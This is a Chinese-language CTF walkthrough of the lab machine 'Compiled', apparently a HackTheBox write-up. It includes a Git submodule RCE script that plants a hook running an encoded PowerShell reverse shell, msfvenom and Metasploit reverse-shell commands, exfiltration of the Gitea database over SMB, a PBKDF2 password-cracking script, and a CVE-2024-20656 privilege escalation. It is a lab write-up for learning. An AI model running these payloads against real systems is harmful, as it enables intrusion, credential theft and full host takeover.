当前位置: 首页 > article >正文

[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升

信息收集

IP AddressOpening Ports
10.10.11.26TCP:3000,5000

$ nmap -p- 10.10.11.26 --min-rate 1000 -sC -sV -Pn

PORT     STATE SERVICE VERSION
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Thu, 07 Nov 2024 17:16:09 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5234
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Compiled - Code Compiling Services</title>
|     <!-- Bootstrap CSS -->
|     <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
|     <!-- Custom CSS -->
|     <style>
|     your custom CSS here */
|     body {
|     font-family: 'Ubuntu Mono', monospace;
|     background-color: #272822;
|     color: #ddd;
|     .jumbotron {
|     background-color: #1e1e1e;
|     color: #fff;
|     padding: 100px 20px;
|     margin-bottom: 0;
|     .services {
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=11/7%Time=672CF5DA%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,1521,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.3
SF:\x20Python/3\.12\.3\r\nDate:\x20Thu,\x2007\x20Nov\x202024\x2017:16:09\x
SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x205234\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20l
SF:ang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\
SF:x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,\
SF:x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Compiled\x20-\x20Code\
SF:x20Compiling\x20Services</title>\n\x20\x20\x20\x20<!--\x20Bootstrap\x20
SF:CSS\x20-->\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"https
SF:://stackpath\.bootstrapcdn\.com/bootstrap/4\.5\.2/css/bootstrap\.min\.c
SF:ss\">\n\x20\x20\x20\x20<!--\x20Custom\x20CSS\x20-->\n\x20\x20\x20\x20<s
SF:tyle>\n\x20\x20\x20\x20\x20\x20\x20\x20/\*\x20Add\x20your\x20custom\x20
SF:CSS\x20here\x20\*/\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20'Ubuntu\x20Mono
SF:',\x20monospace;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20backg
SF:round-color:\x20#272822;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20color:\x20#ddd;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20\.jumbotron\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20background-color:\x20#1e1e1e;\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20padding:\x20100px\x2020px;\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20margin-bottom:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0}\n\x20\x20\x20\x20\x20\x20\x20\x20\.services\x20{\n\x20")%r(RTSPReque
SF:st,16C,"<!DOCTYPE\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<hea
SF:d>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x2
SF:0\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<
SF:h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20
SF:code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x2
SF:0request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20<p>Error\x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x
SF:20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\
SF:n</html>\n");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Git-RCE && Code Compile

http://10.10.11.26:3000/

image-1.png

http://10.10.11.26:5000/

image.png

http://10.10.11.26:3000/richard/Calculator

image-2.png

https://amalmurali.me/posts/git-rce/

新建repo1,repo2

image-3.png

image-4.png

image-5.png

#!/bin/bash
git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main
rm -rf nothing
rm -rf toSeeHere
git clone http://10.10.11.26:3000/test/repo1.git
 cd repo1
mkdir -p y/hooks
cat >y/hooks/post-checkout <<EOF
#!bin/sh.exe
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQ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AZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
cd ..
git clone http://10.10.11.26:3000/test/repo2.git
cd repo2
git submodule add --name x/y "http://10.10.11.26:3000/test/repo1.git" A/modules/x
git commit -m "add-submodule"
printf ".git" >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m "add-symlink"
git push

$ ./rev.sh

image-6.png

http://10.10.11.26:5000/

编译代码

image-7.png

image-8.png

$ impacket-smbserver share /tmp/ -smb2support

PS C:\Users\Public\Downloads> cp 'C:\\Program Files\Gitea\data\gitea.db' \\10.10.16.75\share

image-9.png

import hashlib
import binascii

def derive_pbkdf2_key(candidate, salt, rounds=50000, key_length=50):
    """
    Derive a key based on PBKDF2-HMAC-SHA256.
    """
    return hashlib.pbkdf2_hmac(
        'sha256',
        candidate.encode('utf-8'),
        salt,
        rounds,
        key_length
    )

def attempt_password_crack(wordlist_path, target_hash, salt_value, rounds=50000, key_length=50):
    """
    Attempt to match PBKDF2 hash using a wordlist file.
    """
    target_hash_bytes = binascii.unhexlify(target_hash)
    
    try:
        with open(wordlist_path, 'r', encoding='utf-8') as wordlist:
            for entry in wordlist:
                candidate_password = entry.strip()
                derived_key = derive_pbkdf2_key(candidate_password, salt_value, rounds, key_length)
                
                if derived_key == target_hash_bytes:
                    print(f"Password match found: {candidate_password}")
                    return candidate_password
    except FileNotFoundError:
        print("Wordlist file not found. Please check the path.")
        return None
    
    print("No matching password found.")
    return None

 
salt_value = binascii.unhexlify('227d873cca89103cd83a976bdac52486')
target_hash = '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16'
wordlist_path = '/usr/share/wordlists/rockyou.txt'

 
attempt_password_crack(wordlist_path, target_hash, salt_value)

$ python3 dec.py

image-10.png

$ evil-winrm -i 10.10.11.26 -u 'emily' -p '12345678'

image-11.png

User.txt

209380d1c60e610f2cef026e0c237404

Privilege Escalation && Visual Studio 2019

https://github.com/Wh04m1001/CVE-2024-20656

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.75 LPORT=4444 -f exe -o reverse_shell.exe

msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.16.75
set LPORT 4444
run

搜索VSDiagnostics.exe

> dir C:\VSDiagnostics.exe /s /p

image-15.png

将VSDiagnostics.exe路径替换

image-16.png

启动载荷路径

CopyFile(L"C:\\Users\\Emily\\Downloads\\reverse_shell.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);

image-12.png

编译上传

image-13.png

https://github.com/antonioCoco/RunasCs

PS C:\Users\Emily\Downloads> cp \\10.10.16.75\share\RunasCs.exe .

PS C:\Users\Emily\Downloads> cp \\10.10.16.75\share\Expl.exe .

PS C:\Users\Emily\Downloads> copy \\10.10.16.75\share\reverse_shell.exe .

PS C:\Users\Emily\Downloads> ./RunasCs.exe emily 12345678 ./Expl.exe

image-17.png

Root.txt

4910be87423e9b471cc4945f1e5fed7f


http://www.kler.cn/a/390063.html

相关文章:

  • 【深圳大学】数据结构A+攻略(计软版)
  • mysql 实现分库分表之 --- 基于 MyCAT 的分片策略详解
  • 哪款开放式耳机好用?5款实力出众的开放式耳机按头安利!
  • pycharm快速更换虚拟环境
  • vue elementui el-dropdown-item设置@click无效的解决方案
  • LED和QLED的区别
  • [ Linux 命令基础 2 ] Linux 命令详解-系统管理命令
  • Rust学习(二):rust基础语法Ⅰ
  • conda环境迁移,修改conda路径(附带脚本)
  • Java版——设计模式笔记
  • VSCode中python插件安装后无法调试
  • 【Linux系统编程】第四十五弹---线程互斥:从问题到解决,深入探索互斥量的原理与实现
  • 深入解析 OpenHarmony 构建系统-2-目录结构与核心组件
  • NLP论文速读(NeurIPS 2024)|大语言模型在评估的时候更倾向于自己生成的内容
  • FPGA学习笔记#7 Vitis HLS 数组优化和函数优化
  • 【前端】Typescript从入门到进阶
  • FMC 扩展子卡6 路 422,8 组 LVDS,8 路 GPIO
  • 代码随想录第二十四天
  • 在本机上跑LLM的体会
  • 【教程】Ubuntu设置alacritty为默认终端
  • LabVIEW导入并显示CAD DXF文件图形 程序见附件
  • 深入解析TOML、XML、YAML和JSON:优劣对比与场景应用
  • Docker了解
  • HTMLCSS 打造的酷炫菜单选项卡
  • SD-WAN专线接入与互联网接入对比:企业网络选择指南
  • Kettle——CSV文件转换成excel文件输出